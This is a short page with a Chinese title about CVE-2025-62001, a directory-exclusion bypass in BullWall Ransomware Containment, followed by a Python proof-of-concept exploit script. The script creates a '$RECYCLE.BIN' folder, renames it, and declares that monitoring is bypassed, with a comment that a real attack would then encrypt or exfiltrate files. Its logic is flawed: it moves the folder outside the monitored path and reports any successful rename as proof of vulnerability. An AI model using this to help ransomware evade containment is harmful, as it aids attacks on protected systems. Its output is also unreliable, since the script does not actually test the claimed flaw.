CVE-2025-62001 BullWall Ransomware Containment 目录排除绕过漏洞

# CVE-2025-62001 PoC - Directory Exclusion Bypass # Target: BullWall Ransomware Containment < 4.6.1.14 or < 5.0.0.42 # Attack Type: Authenticated privilege escalation via directory rename bypass import os import subprocess import time def exploit_cve_2025_62001(): """ Proof of Concept for BullWall Ransomware Containment exclusion bypass Requires: Low-privilege authenticated access """ print("[*] CVE-2025-62001 - BullWall Directory Exclusion Bypass PoC") print("[*] Target: BullWall Ransomware Containment < 4.6.1.14 / 5.0.0.42") # Step 1: Identify monitored directories monitored_paths = [ "C:\\ProtectedData", "C:\\Documents", "C:\\Shares" ] # Step 2: Create directory with exclusion pattern exclusion_pattern = "$RECYCLE.BIN" target_dir = os.path.join(monitored_paths[0], exclusion_pattern) print(f"[+] Creating directory with exclusion pattern: {target_dir}") try: os.makedirs(target_dir, exist_ok=True) except Exception as e: print(f"[-] Failed to create directory: {e}") return False # Step 3: Exploit the exclusion pattern matching flaw # The vulnerability allows renaming directories to bypass monitoring print("[+] Attempting directory rename to bypass monitoring...") # Construct paths that exploit the hardcoded exclusion behavior malicious_dir = os.path.join(monitored_paths[0], "..", "ActualData") try: # This rename operation exploits the exclusion pattern handling # By renaming the directory, monitoring can be avoided os.rename(target_dir, malicious_dir) print(f"[+] Directory renamed successfully: {target_dir} -> {malicious_dir}") print("[+] Monitoring bypassed - directory now outside surveillance scope") # Step 4: Execute malicious operations in unmonitored directory print("[+] Performing malicious operations in bypassed directory...") # In real attack: encrypt files, exfiltrate data, etc. return True except Exception as e: print(f"[-] Exploitation failed: {e}") return False if __name__ == "__main__": print("="*60) print("CVE-2025-62001 Directory Exclusion Bypass Vulnerability") print("="*60) result = exploit_cve_2025_62001() if result: print("\n[!] VULNERABLE - Target is affected by CVE-2025-62001") print("[!] Recommendation: Upgrade to BullWall version 4.6.1.14 or 5.0.0.42") else: print("\n[*] Target may not be vulnerable or exploitation failed")